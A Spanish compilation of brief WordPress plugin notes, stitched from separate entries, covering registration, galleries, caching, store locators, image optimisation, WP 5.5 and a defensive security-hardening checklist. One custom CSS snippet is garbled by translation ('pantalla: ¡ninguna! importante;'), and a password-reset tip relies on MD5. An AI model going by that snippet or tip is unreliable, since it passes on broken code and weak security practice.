Cuando se configura el plugin por primera vez es importante determinar cual será el flujo de información y determinar si se quiere confirmar el email del usuario que se registra o no. También es necesario configurar el texto de algunos emails: * En función de la opción escogida el texto del email en el cual se pide la confirmación. * Si se envía email de bienvenida el texto del mismo.

Es muy práctico dado que simplifica la conexión a los usuarios y da un acceso rápido y sencillo. Cada plataforma tiene una configuración propia según sus requisitos para que el usuario pueda darse de alta. El plugin incorpora una versión gratuita totalmente funcional y otra de pago con funciones avanzadas. Dado que se deben usar API's y tener cuentas de des arrollador es complejo para usuarios con conocimientos normales de WordPress, necesita de la ayuda de un experto para completar la configuración.

Cuando tenemos ya creadas varias galerías con sus imágenes es posible que queremos reorganizarlas. El Plugin NextGEN Gallery permite hacerlo de una forma sencilla. A continuación se dan las opciones más frecuentes con las que nos podemos encontrar. Todas estas opciones están en el menú '''Gallery''' de Escritorio de WordPress * En '''Add Gallery/Images>Add new Gallery''' se pueden crear las galerías que se necesiten sin fotos para así poner después las fotos que queramos. * En '''Manage Gallery''' podemos entrar en una galería, marcar las fotos que desea que queramos cambiar y en el desplegable '''Bulk Actions''' elegir la opción deseada: '''Move to''' o '''Copy to'''. Seguidamente cuando pulsemos el botón '''Apply''' y se nos pedirá la galería donde queremos Mover o Copiar. * Cuando ya tenemos reorganizadas las Galerías las podemos ubicar en la página o entrada que deseamos simplemente poniendo el tag: [nggallery id=GallyerID], donde GallyerID es el número de la galería. También se puede insertar una galería haciendo clic en el botón que hay en la barra de botones situada encima de la caja del contenido y debajo del título.

80K en marzo de 2020

==Instalación y configuración==

Se instala y activa como cualquier otro Plugin de WordPress, una vez hecho se abren una sección completa en el menú de Escritorio con varias secciones: *'''Languages''', permite determinar cual es el lenguaje por defecto y cuales son los otros. El lenguaje por defecto se debe arrastrar a la parte superior y los alternativos se debe hacer clic en ellos para que queden en verde. *'''Settings''', Permite determinar diferentes opciones de la traducción, una de las mas importantes es que nivel de usuarios pueden traducir. Se debe tener en cuenta que la opción activada por defecto es la de Anonymous, que quiere decir cualquiera sin necesidad de estar registrado. *'''Translation Engines''', permite seleccionar cual es el sistema de traducción automática por defecto. *'''Widget Settings''', configura la barra de progreso de la traducción. *'''Advanced''', opciones avanzadas de seguimiento de la traducción. *'''Utilities''', contiene varias opciones que permite reinicilizar o lanzar la traducción completa de una Web. *'''About''', enlaces relacionados con el Plugin *'''Support''', opciones de soporte gratuito, profesional y donaciones.

==Traducción==

Para llevar a cabo la traducción Online de la Web es necesario poner el Widget de Transposh en una Sidebar y hacer clic en la casilla de Edición. Se activan unos pequeños iconos que nos permiten hacer la traducción haciendo clic en ellos, antes se debe seleccionar el idioma a traducir.

Los plugins de caché más conocidos y usados de WordPress son:

• WP Super Cache. Creado por lo propios autores de WP. La instalación es sencilla e intuitiva.
• WP-Optimize – Clean, Compress, Cache. De los autores de Updraft Plus un plugin muy completo. Además del caché ofrece: Optimizaciones de base de datos y de imágenes.
• W3 Total Cache. Muy potente y de código abierto pero complejo de configurar
• WP Fastest Cache. La versión gratuita es suficiente y completa. Sencillo de configurar.
• Hyper Cache. Uno de los más reciente. Open source por lo que es gratuito. Sencillo y potente a la vez.
• LiteSpeed Cache. Plugin de aceleración todo en uno. Si el servidor incopora Lite Speed se activan más opciones.

Si queréis realizar comparativas os recomendamos acudir a Google porque sus prestaciones cambian continuamente y por ello es recomendable revisar la más reciente.

Hace unos meses necesité seleccionar un plugin para que el registro de los usuarios en una página Web desarrollada con WordPress para inscribirse en un club y recibir novedades y boletines informativos.

Hice un repaso de varios plugins de registro y os paso las anotaciones que fui tomando, no es un manual, sino una notas breves sobre este tipo de plugins.

• Ultimate Member, muy completo y con página Web propia.
• RegistrationMagic-Custom Registration Forms, no tan completo como Ultimate Members pero complicado
• Profile Builder. Uno de los más populares de la categoría. No permite customizar tanto como Ultimate Members
• Theme My Login. En realidad es adaptar el login a la plantilla de la página.
• Custom Login: Permite crear un diseño personalizado para el formulario de Login. El problema de este plugin es que no permite personalizar el formulario de registro ni los email.

• [http://codecanyon.net/category/wordpress/galleries Selección de Galerías de Fotos para WordPress]
• NextGen Gallery *[http://codecanyon.net/item/wallgrid-gallery-wp-nextgen-gallery-template/2338182 Wall/Grid Gallery], Plugin para NextGen, visualización de imágenes en formato muro.
• [http://codecanyon.net/item/thumbnail-scroller-wp-nextgen-gallery-template/2528167 Thumnail Scroller, Plugin para NextGen como visualizador de tiras de imágenes.
• [http://codecanyon.net/item/social-gallery-wordpress-photo-viewer-plugin/2665332&ref=edanzer Social Gallery], buena galería de imágenes tipo Grid con visualización individual de imágenes estilo Facebook.
• [http://codecanyon.net/item/justified-image-grid-premium-wordpress-gallery/full_screen_preview/2594251 Justified image Grid], excelente Plugin de visualización de imágenes en formato Grid (rejilla] con muchos estilos de visualización y preparado para compartir las imágenes en Redes Sociales. Justified Image Grid|Tutorial de Justified Image Grid *[http://codecanyon.net/item/-flipbook-v7-wordpress-plugin-/3929676?sso?WT.ac=category_item&WT.seg_1=category_item&WT.z_author=flashmaniac Flipbook] y
• [http://codecanyon.net/item/-flipbook-v6-wordpress-plugin-/3846097?sso?WT.ac=category_item&WT.seg_1=category_item&WT.z_author=flashmaniac Flipbook V6] Galería de imágenes en formato libro con efecto de pasado de páginas. Excelente presentación y muchas opciones de visualización.
• [http://codecanyon.net/item/usquare-universal-responsive-grid-for-wordpress/3352677?sso?WT.ac=category_item&WT.seg_1=category_item&WT.z_author=Br0 Usqaure] muy original para visualización de equipos, catálogo de productos, etc.
• [http://codecanyon.net/item/lbgallery-for-wordpress/2612842?sso?WT.ac=category_item&WT.seg_1=category_item&WT.z_author=tunnhn LBGallery] Buena para catálogos de productos extensos. *[http://codecanyon.net/item/ez-plug-in-portfolio/2535532?sso?WT.ac=category_item&WT.seg_1=category_item&WT.z_author=SimpleSites4U EZ Plugin in Portfolio], excelente para la visualización de un Portfolio de productos o servicios. Una propuesta similar es
• [http://codecanyon.net/item/complete-gallery-manager-for-wordpress/full_screen_preview/2418606 Complet Gallery Manager]
• [http://codecanyon.net/item/ccgallery-wp-multimedia-gallery-wordpress-plugin/full_screen_preview/2388849 CCGaleery WP Multimedia] Excelente galería para visualización de todo tipo de archivos multimedia.
• Propuesta similar [http://codecanyon.net/item/media-grid-wordpress-responsive-portfolio/full_screen_preview/2218545 Media Grid WordPress]
• [http://radykal.de/codecanyon/wordpress/fancy-gallery/ Fancy Gallery] Galería de imágenes y vídeos elegante y minimalista Multimedia

Plugins destacados para geolocalización

• Store Localor Plus. Plugin con una página Web propia profesional. Precios según localizaciones. $5 para 125. Presentación básica y sin Showcase.
• GeoMyWP. Este plugin es una suite muy completa de Geolocalización no solo para store locator si no también para geolocalizar miembros. Lo veo complejo y con presentación un poco pobre. Tiene una sección Showcase para casos reales. Cada Add-On se vende por separado. Este es un ejemplo interesante.
• MAPSVG. $49. Muy completo con prestaciones muy profesionales. Se encuentran a faltar ejemplo visuales en su Web de una forma más clara para fichas de negocios.
• WP Store Locator. Plugin sencillo que permite localización y enlazar a la ficha de la propia página.

Plugins en codecanyon

• WordPress Store Locator. Ventas: 2.2K, 5* de promedio de 39 valoraciones.
• Store Locator (Google Maps) For WordPress. $25. Ventas: 4.5K, 5* de promedio de 202 valoraciones. Web: Agile Store Locator. Varios templates. La demo y presentación básica es intuitiva, y muy completa en cuanto a datos. Ver demo.
• Advanced Store Locator for WordPress. $24.  Ventas: 2.2K, 4* de promedio sobre 164 valoraciones. Página Web y Plugin muy sencillo y con presentación básica.

Recomendación

Recomendación actual en octubre de 2020: Store Locator (Google Maps) For WordPress.

Dada la importancia cada vez mayor de la autoridad de la persona que genera el contenido, lo que se conoce como EAT, este complemento tiene un valor importante.

Simple Author Box (50K)

El plugin Simple Author Box para WordPress permite añadir un Box (caja) con la Bio del autor y su acceso a Redes Sociales. Su instalación es como la de cualquier Plugin para WordPress y su configuración es muy sencilla, tiene una página de opciones en el menú ajustes que permite ajustar de forma sencilla la forma de mostrar la bio, el nofollow, etc.

Una vez instalado vamos a la ficha de un autor ya creado y podremos rellenar todas sus redes sociales (o el mismo autor) y añadir su fotografía. Al permitir añadir su página web, si la tiene, es una forma de mejorar el posicionamiento de la misma al recibir un backlink por cada artículo que escriba en la página.

Starbox (20K)

Una propuesta más reciente pero con un aspecto profesional. Ver plugin.

Otras propuestas

Para más opciones os recomiendo este excelente artículo: 7 Best Free Author Bio Box Plugins for WordPress. El problema es que algunos de estos plugins llevan años sin actualizarse y ese es un dato muy importante a la hora de decidirse por uno en concreto.

Una vez instalado y activado ya aparecerá un botón Print to PDF en el pie de todas las Páginas y Entradas de la Web sin necesidad de hacer nada más. Si queremos ajustar algunas opciones tenemos los parámetros en '''Escritorio>Ajustes>Print Friendly'''

Una forma alternativa de restablecer la contraseña de un usuario es accediendo a la tabla wp_users de la base de datos de WordPress, editar el registro del usuario e introducir una nueva contraseña, marcar como tipo de dato MD5 y guardar el registro. Veremos que la contraseña queda automáticamente codificada. Usando el usuario y la contraseña se podrá acceder a WordPress. 

Estos son acciones que se deben tener en cuenta al aplicar la capa de seguridad:

• Auditoria de Cabeceras: Comprueba las cabeceras de una página Web
• Auditoría WP-Doctor: Pasar la auditoría de seguridad de WP-Doctor y obtener la información
• Avisos de incidencias: El sistema de seguridad avisa por email al administrador en caso de incidencia.
• Bloqueo de IP por lista HackRepair.com: Se bloquean automáticamente las IP que figuran en la lista.
• Bloqueo de IP por reincidencia: Se bloquean automáticamente las IP de infractores reincidentes y se guardan en una lista negra. Hay parámetros para determinar el nivel de reincidencia.
• Detección 404 automática: Bloquea IP de usuarios que generan muchos errores 404 en poco tiempo. Son robots rastreadores de URL para intentar acceder a la Web.
• Modo reposo: No permtie acceder al escritorio de WordPress a determinadas horas.
• Cambiar prefijo de tablas wp_: Dificulta ataques por ScriptsSQL. Obligatorio hacer una copia de seguridad previa. Confirmar que los plugins y el theme lo tienen en cuenta.
• Copias de seguridad de bases de datos: Realizar una copia periódica de la base de datos semanalmente o diaramente. Opción de recibirla por email
• Detección de cambios de archivo: Comprueba los cambios en los archivos de WordPress previniendo posibles inyecciones de código maligno.
• Ocultar escritorio: Oculta los accesos habituales de Admin, wp-login, etc. Obligatorio en sitios de un solo adminitrador.
• Activar protección contra fuerza bruta en red: Evita la mayoría de ataques que recibe un sitio
• Cadenas de consulta sospechosas: Estas cadenas suelen ser signos de alguien que trata de obtener acceso al sitio Web. ATENCIÓN algunos plugins y temas también pueden ser bloqueados.
• Cadenas URL largas: Limita el número de caracteres que se pueden enviar en la dirección URL, usado para tratar de inyectar información en su base de datos.
• Desactivar PHP en los plugins: Desactiva la ejecución de PHP en el directorio de plugins. Esto bloquea las peticiones a los archivos de PHP dentro del directorio de plugins que pueden ser explotados directamente.
• Desactivar PHP en temas: Desactiva la ejecución de PHP en el directorio de temas. Esto bloquea la peticiones a ficheros PHP dentro de los directorios del tema que pueden ser atacados directamente.
• Desactivar PHP en uploads: Bloquea las peticiones a los archivos de PHP subidos maliciosamente al directorio de subidas.
• Eliminar permisos de escritura de archivos: Evita a scripts y usuarios el poder escribir en los archivos wp-config.php y .htaccess.
• Filtrar métodos de petición: Filtrar las visitas con los métodos de rastreo, eliminar de petición.
• Navegación de directorios: Impide ver una lista de archivos en un directorio
• Protección de archivos: Proteger archivos del sistema readme.html, readme.txt, wp-config.php, install.php, wp-includes, y. htaccess.
• Red de protección contra ataques: Esta red contra atacantes encontrados en otros sitios que utilizan iThemes Security.
• Requisitos de contraseñas: Obliga a los usuarios a usar contraseñas seguras.
• WP Acceso restringido a la API REST: La mayoría de las peticiones requerirán un usuario conectado o con un privilegio exclusivo,
• WP Bloquea las solicitudes XML-RPC: Bloquea las solicitudes XML-RPC que contienen múltiples intentos de inicio de sesión.
• WP Desactiva el editor de archivos de plugins y temas: Los plugins y temas se deben editar manualmente mediante una herramienta distinta a WordPress.
• WP Desactiva la página del autor sin publicaciones: Esto hace que sea más difícil para los robots determinar los nombres de usuario mediante la desactivación de colocar archivos para los usuarios que no publiquen en su sitio.
• WP Desactivar función XML-RPC: La funcionalidad XML-RPC de WordPress permite a servicios externos acceder y modificar contenido en el sitio. Lo usa el plugin Jetpack, la aplicación móvil de WordPress y los pingbacks.
• WP Desactivar mensajes de error de inicio de sesión: Evita que los mensajes de error se muestren a un usuario en un intento fallido de inicio de sesión.
• WP Eliminar la cabecera RSD (Real Simple Discovery): Si la web no se integra con servicios externos XML-RPC como Flickr entonces la función "RSD" es bastante inútil.
• WP Evitar que las miniaturas de adjuntos se traspasen a otros archivos.: Ayuda a mitigar un ataque en el que los usuarios con perfil de "autor" o superior podrían borrar cualquier archivo de tu instalación de WordPress, incluidos archivos sensibles como wp-config.php.
• WP Forzar a los usuarios a elegir un alias único: Evita que los bots y los atacantes obtengan con facilidad los nombres de usuario de acceso a partir del código de páginas de autor. D
• WP Protección contra el tabnapping: Alterar enlaces target="_blank" para protegerte del tabnapping. Proteger a los visitantes de ataques de phishing lanzados por un sitio enlazado
• WP Quita la cabecera de Windows Live Writer: Esto no es necesario si no utilizas Windows Live Writer u otros clientes de blogs que se basen en este archivo.
• WP Reducir comentarios spam: Reduce el spam en los comentarios por negar comentarios de los robots sin remitente o sin un agente de usuario identificado.
• WP Archivos de Licencia: Renombrar archivos que informan de la versión de WordPress como los tipo License. Se conoce como Information Leak.
• WP cabeceras HTTP de seguridad: Añadir cabeceras HTTP de seguridad en WordPress. 1. X-Content-Type-Options. El objetivo de establecer esta cabecera es evitar que se cargue un archivo JS ó CSS con un MIME-Type diferente al declarado. 2. X-Frame-Options. La cabecera X-Frame-Options sirve para prevenir que la página pueda ser abierta en un frame, o iframe. De esta forma se pueden prevenir ataques de clickjacking sobre tu web. 3. Content-Security-Policy. Content Security Policy (CSP) es un estándar de seguridad informático introducido para evitar cross-site scripting (XSS), clickjacking y otros ataques de inyección de código resultantes de la ejecución de contenido malicioso en el contexto de la página web.
• Instalar un firewall: Un firewall o muro cortafuegos protege a la página Web de ataques externos.

Fácilmente protege el contenido con protección de contenido solamente a los miembros.

Al activarse crea página automáticas

Todas las páginas y entradas añaden una caja de protección manual

Ajustes>Activar membresía gratis para saltarse el Join Us y pagar

Poner un ID de membresía gratuita

Poner la página de registro como no dependiente de Join Us y con contraseña

Ajustes

Para simplificar en Ajustes se marca que Desactivar acceso al adminitrador de WP y ocultar la barra

Nivel de membresía

1. Añadir nuevo nivel para Suscriptores, por ejemplo Equipo. Esta ID es la de arriba

Protección de categoría

• En Protección General seleccionar la categoría a proteger, ejemplo Equipo y Actualizar.
• Esa categoría queda protegida para los no registrados y accesible para todos los registrados de suscriptor hacia arriba.
• Después se va al nivel de membresía y se activa la categoría.
• Aunque se sea usuario Admin hay que añadirse como miembro para ver las categorías protegidas.

Notas

En Ajustes>Herramientas se pueden volver a crear las páginas

Problema: como evitar ver esas categorías en el Front, Ultimate hide category las oculta pero las visualiza en el Widget lateral. Solucionado con un Widget de Menú en vez de categorías

 40K en marzo de 2020

Al instalar el plugin por primera vez se inicia un asistente de configuración con las siguientes opciones:

• Confirmar la compresión automática de imágenes al subirlas.
• Confirmar el eliminar metadatos de la imagen.  Tener en cuenta que la ubicación puede ser necesario para webs inmobiliarias y otros proyectos.
• Confirmar la carga diferida. Lo que se conoce como Lazy y que mejora el tiempo de carga de páginas con varias imágenes en dispositivos móviles.

Una vez finalizado el asistente revisa la imágenes ya subidas por si se pueden optimizar.

Antes de empezar con el plugin te sugiero hacer pruebas de velocidad de la página con Google pagespeed o alguna herramienta similar para comprobar la ganancia de tiempo.

Asistente

Al instalar y activar nos aparece en el menú del escritorio. Al hacer clic en la opción se activa un asistente de instalación con los siguientes pasos:

1. Optimizar las imágenes al subir. Comprime las imágenes al subir sin pérdida de calidad.
2. Eliminar los metadatos de la imagen. Es la información que suelen insertar las cámaras digitales y que ocupa un espacio innecesario en la mayoría de las imágenes.
3. Activar la carga diferida. El conocido Lazy Load que permite acelerar la carga de las páginas.
4. Permitir que el plugin haga un seguimiento de la compresión. Es opcional y lo usan para mejorar y optimizar el código del plugin.

Una vez finalizado el asistente se realiza una revisión de las imágenes existentes en la página Web.

Primero pasos

Una vez tenemos instalado el plugin la recomendación es ir al Escritorio del plugin y activar la opción de redimensionar el máximo de imágenes. Suelo poner 1.280 x 1.280 px para mantener las imágenes de los slides habituales de algunas plantillas pero ajustar aquellas que se subieron diréctamente de la cámara y que suelen pesar varios megas y tener tamaños de más de 4.000 px.

La función Bulk images permite comprimir las imágenes grandes detectadas y con la versión Pro del plugin se pueden descomprimir todas con un click.

Ajustes

Desde el escritorio podemos acceder a varias secciones de configuración del plugin pero en principio con los temas comentados suele ser suficiente.

Pruebas de velocidad

Una vez instalado el plugin si volvemos a realizar pruebas de velocidad comprobamos que hay cambios significativos respecto a los valores anteriores.

Se instala como cualquier plugin de WordPress y al activarlo aparece una caja propia en el menú escritorio para acceder a las opciones de administración. Lo primero que hay que hacer es ir la sección de Setup y crear una cuenta gratuita en la Web de los autores, en ella haremos lo siguiente: *Crear una cuenta *Crear un sitio asociado a la cuenta *Obtener las claves API que pondremos en las Settings del Setup: **Public Key, lo que ponga en la casilla del mismo nombre **Private Key, lo que ponga en la casilla del mismo nombre **API Subdomain:, lo que ponga en la casilla: Domain - Send API requests for this Site to this domain. Para poder conectar con Facebook o Twitter es necesario el habitual paso de crear aplicaciones en cada una de las plataformas y poner las claves API de las mismas en nuestra cuenta del plugin en la Web de oneall. * Se siguen los pasos indicados para Facebook y funciona sin incidencias. * Se siguen los pasos indicados para Twitter (hay 2 pasos) y funciona bien pero al registrarse no queda el email auténtico del usuario si no uno del domino example.com. Esto es porque Twitter no facilita los emails de los usuarios a las aplicaciones. * Si un usuario se registra con Facebook y Twitter aparece dos veces aunque tenga el mismo email en ambas cuentas. * La conexión con Google es la mas simple, no hay que crear aplicaciones, se registra directo y queda su email guardado. Una vez un usuarios llega a la página de registro hace un clic en el icono de la Red correspondiente y se crear una cuenta de usuario en la Web con el perfil por defecto (suscriptor) y accede a la misma sin problemas.

1. PageSpeed Insights de Google. Uno de los clásicos y que debe ser una referencia ya que en función del resultado es como Google puntúa una Web para que esté mejor o peor posicionada además de muchos otros factores.
2. WP Doctor. Excelente herramienta de Webempresa que ofrece muchos consejos sobre optimización.
3. GTmetrix. Completa opción para analizar página Web dónde se puede elegir el continente desde donde se hace la simulación.

Tips & Tools

Para eliminar de la página de evento los enlaces a próximo evento y siguiente evento se puede introducir el siguiente CSS personalizado:

.tribe-events-nav-next {
pantalla: ¡ninguna! importante;
}
.tribe-events-nav-previous {
display: none! important;
}
.tribe-events-back {
display: none! important;
}

El plugin no tiene sección de CSS personalizado para la mayoría de temas si.

Se instala como cualquier otro Plugin desde Plugins>Añadir nuevo. Una vez instalado aparecen unos nuevos botones en la barra de edición de entradas y páginas. El más destacado es el que permite cambiar el tamaño de la fuente, Hay que destacar que el plugin permite incorporar muchas más opciones de edición que las que se muestran por defecto. Para elegir que botones de edición extendida queremos que se muestren en entradas y páginas podemos ir a Ajustes>TinyMCE Advanced y personalizar la barra de botones.

Una vez descargado de la web de Plugins de WordPress,  Twitter Tools y subido a la nuestra nos encontramos con que se han creado 4 Plugins:

=== Twitter Tools ===

Permite crear un Twitter por cada entrada (post) que introducimos en WordPress El principal, lo activamos y vamos inmediatamente a las Settings del plugin, se recomienda estar logeado en la cuenta de Twitter que se quiere vincular. Se recomienda poner Yes en la 1ª opción: Enable option to create a tweet when you post in your blog? Después en cada entrada, debajo de la caja de etiquetas aparece una nueva caja que permite marcar: Send Post to Twitter . Después al publicar o actualizar se publica en Twitter y desparece de aquí.

=== Twitter Tools - bit.ly URLs ===

Permite acortar las URL utilizando este conocido servicio. Debemos tener una cuenta en bit.ly (Más información). Una vez activemos el plugin debemos ir a la sección de Setting de Twitter Tools de nuevo y rellenar los datos de nombre de usuario y la API Key, esta la podemos encontrar si accedemos a las características de nuestra cuenta de bit.ly.

=== Instalación ===

* Activar el Plugin * Ir a las Settings del Plugin y seguir las instrucciones * Registrar un app de Twitter para el Site: ** Se rellenan los 3 primeros campos con el nombre que queremos ** la URL y pasamos a una página donde están las claves. ** En la casilla CallBack URL también hay que poner la URL de nuestra página. * Una vez creada la aplicación hay que hacer dos acciones más: ** En la pestaña de Settings en Applycation Type debemos marcar Read and Write, si no, no nos publicará los tweets. ** Después tenemos que generar el Access Token para que así sea también Read and Write. * Copiamos y pegamos las claves solicitadas en nuestra Web. y conectamos a Twitter Instalaciones complementarias * Activar el Plugin para acortar URL con bit.ly. Introducir Userrname y la clave secreta se obtiene en logeando nuestra cuenta de bit.ly: [http://bitly.com/a/your_api_key API de bit.ly] 

Muchas página nuevas y muchas opciones. Muy completo pero también complejo de manejar.

100K en marzo de 2020.

Es la 1ª gratuita y con posibilidad de generar ingresos. Se instala como cualquier plugin normal y una vez compeltado el proceso aparece un área de administración en el escritorio. En ese área podemos acceder a determinar el tema y una configuraciones básicas (General Settings) como el nombre e icono de la App. En otras tres pestañas podremos acceder a los apartados de Temas, Plugins complementarios y soporte con ayuda sobre el Plugin. La Web del autor ofrece también una sección de. La opción de Simulación permite crear y configurar una primera app. El diseño realizado se puede guardar.

WooCommerce permite crear una tienda online completa. Está creado por Automattic, la misma empresa que ha realizado WordPress lo cual garantiza totalmente su integración. El plugin es gratuito y algunas de sus extensiones son de pago.

Se calcula que la combinación WordPress+WooCommerce gestiona actualmente el 30% de las tiendas online de Internet por delante de Prestashop y Magento.

Permite vender productos físicos y digitales. Sus numerosas parametrizaciones y complementos hacen que pueda adaptarse prácticamente a cualquier sistema de ventas que se necesite. Los administradores pueden realizar un control completo de la tienda.

Tiene plantillas (themes) específicas para el plugin pero además la mayoría de plantillas premium se integran con este plugin dado su gran popularidad. Otra característica importante es que dispone de una tienda propia con 388 extensiones que le permiten adaptarse a cualquier tipo de funcionalidad que sea necesaria. Por ejemplo el complemento para pagos mediante Stripe.

Antes de actualizar WordPress 5.5

Qué se debe tener en cuenta antes de actualizar

• Confirmar que tenemos una copia de seguridad completa del sitio Web
• Revisar en Herramientas>Salud del sitio que la versión de php es superior a 5.6.20. La actual es la 7.4
• Tener especial cuidado si se usan plugins desarrollados a medida o temas (themes) personalizados o antiguos, se podría producir errores.

Mejoras de la nueva versión

Este es un resumen de las mejoras incorporadas en la nueva versión:

• Actualización automática de las plantillas y plugins que el usuario quiera. Una acción que se debe pensar y utilizar con aquellos componentes que nos den garantías. 
• Mapa XML. Para páginas complejas o muy grandes es posible que sea necesario seguir de momento con plugins avanzados como el Yoast SEO. El nuevo sitemap está en la dirección  mipaginaweb.com/wp-sitemap.xml y se referencia automáticamente en robots.txt para que lo encuentren las arañas de los buscadores.
• Carga diferida de imágenes. La nueva versión lleva esta función que mejora la velocidad de carga de una página haciendo que las imágenes del contenido y otros componentes se carguen de forma diferida cuando el usuario haga scroll.
• Mejoras de Gutenber. El nuevo editor de bloques ha sido mejorado.
• Mejoras en la usabilidad del escritorio de WordPress.

Incidencias

Algunas incidencias detectadas son:

• Problemas en la carga diferida de imágenes.
• Hemos detectado en páginas Web con Bridge que al instalar la nueva versión de WordPress 5.5 desaparece el botón de WPBakery Page Builder. Tras varias pruebas la única solución que ha funcionado es reinstalar le versión 5.4.2 de WordPress.

Pruebas realizadas

Hemos probado la nueva versión con las siguientes plantillas y plugins

• Plantillas OK: Bridge y AVADA versión 5.
• Plugins OK: Yoast SEO, WP Supercache, iThemes Security, Click to Chat, Slider Revolution, Layer Slider, Editor Clásico, Polylang, Site Kit by Google, TinyMCE Advanced.
• Plugin a medida OK: Todos los plugins que desarrollamos a medida han seguido funcionando bien.

Notas

WP 5.5 no soluciona ningún problema de seguridad importante por lo tanto no es imprescindible instalarlo inmediatamente.

En páginas Web críticas o de eCommerce se recomienda no actualizar automáticamente de momento.

Trucos de WP Bakery

Color de fondo de los botones

Al usar el complemento con algunos temas como Astra encontramos que los botones tienen un color rojo o fucsia que no se pue personalizar mediante parámetros.

Sin embargo podemos usar la opción de CSS personalizado del propio plugin para cambiar este color por defecto añadiendo estas líneas:

.vc_btn3.vc_btn3-color-juicy-pink.vc_btn3-style-flat{
background-color: #0274be; /* button background color */
}

Ofrece la función de timestamp del registro de información, enlace a la política de privacidad, una página para pedir de información del usuario y la casilla de conformidad habitual.

Se crea opción en menú Herramientas. La versión gratuita permite exportar. Para importar hay que pagar. Se ve profesional pero las tarifas son caras.

Por defecto bloquea todas las entradas. Hay que desbloquear por dashboard
No permite bloquear por categorías

80K en marzo de 2020

WP Super Cache, este plugin genera páginas estáticas en html a partir de las páginas dinámicas que genera WordPress, estas páginas dinámicas generadas son guardadas en tu servidor para disminuir hasta en un 80% la carga del servidor, esto debido a que en lugar de generar una página dinámica por cada petición de página al servidor se muestra la página HTML estática.

Está indicado especialmente para páginas Web alojadas en Servidores compartidos con pocos recursos.

No todo va a ser estático  las páginas estáticas html sólo van a ser mostradas a:

1. Usuarios que no tengan una sesión iniciada.
2. Usuarios que nunca hayan dejado un comentario en el blog.
3. Usuarios que no han visto posts protegidos por contraseña.

Sabiendo que el 99% de los visitantes no hacen nada de lo mencionado anteriormente, estos usuarios verán las páginas cacheadas en el servidor, este plugin es muy útil cuando nuestras Webs son mencionados en sitios cómo digg.com  o meneame.net  que dirigen miles de visitantes a nuestros sitios, así se evitan caídas del servidor.

COMO FUNCIONA WP SUPER CACHE

WP Super Cache crea una carpeta llamada Cache dentro de la carpeta Uploads. Conforme se van visitando las páginas el Plugin va creando los html correspondientes y los guarda en la carpeta Cache.

INSTALACIÓN RÁPIDA DEL PLUGIN WP SUPER CACHE

• Comprobar que están activados los Permalinks
• Easy>Marcar Catching On y guardar.
• Avanzado>Marcar Use mod_rewrite to serve cache files. (Recommended)  y guardar.
• Avanzado>Reglas Mod Rewrite, hacer clic en Actualizar reglas Mod_Rewrite  y guardar.
• Verificar que WP Super Cache está activo haciendo clic en Easy>Test Cache
• Para comprobar que se generan las páginas entrando en una cualquiera, haciendo ver Código Fuente y comprobar que al final está el texto de generación de WP Super Cache.

INSTALACIÓN DETALLADA DEL PLUGIN WP SUPER CACHE

1. HABILITAR WP SUPER CACHE

Una vez instalado el plugin aparecerá notificándote que es necesario habilitar y configurar el plugin. Para hacerlo puedes dar clic en el link del mensaje o a través de Ajustes >> WP Super Cache.

2. ELEGIR EL MÉTODO PARA CREAR EL CACHE

Después de habilitar el plugin como se muestra en el paso 3, debemos elegir el método crear el cache. Seleccionar rewrite rules como se muestra a continuación:

3. ACTUALIZAR LAS REGLAS .HTACCESS

Luego de habilitar el método para crear el cache en el paso 4, deberás bajar por esa misma ventana (opción Avanzado) hasta Reglas Mod Rewrite, aparecerá algo como lo siguiente:

Baja un poco más y hacer clic en Actualizar reglas Mod_Rewrite

Si los permisos sobre el archivo son correctos,  las nuevas reglas serán ingresadas al .htacces y verás lo siguiente a modo de confirmación:

4. VERIFICAR QUE WP SUPER CACHE ESTÁ ACTIVO

Para comprobar que el plugin está realizando su trabajo, ingresa a la opción Easy y da clic en Test Cache.

Los resultados obtenidos deben ser los siguientes:

Otra forma, es ingresar a tu sitio web desde otro navegador (y sin estar autenticado), clic derecho en cualquier área de la página y dar clic en “Ver Código fuente de la página”. Ir al final de la página y debe aparecer lo siguiente:

7. OPCIONES RECOMENDADAS

Con el  WP Super Cache instalado, configurado y funcionando, podemos  habilitar la compresión.

Y siguiendo el paso 6, apartado “Ver Código fuente de la página”, esta vez debe mostrar: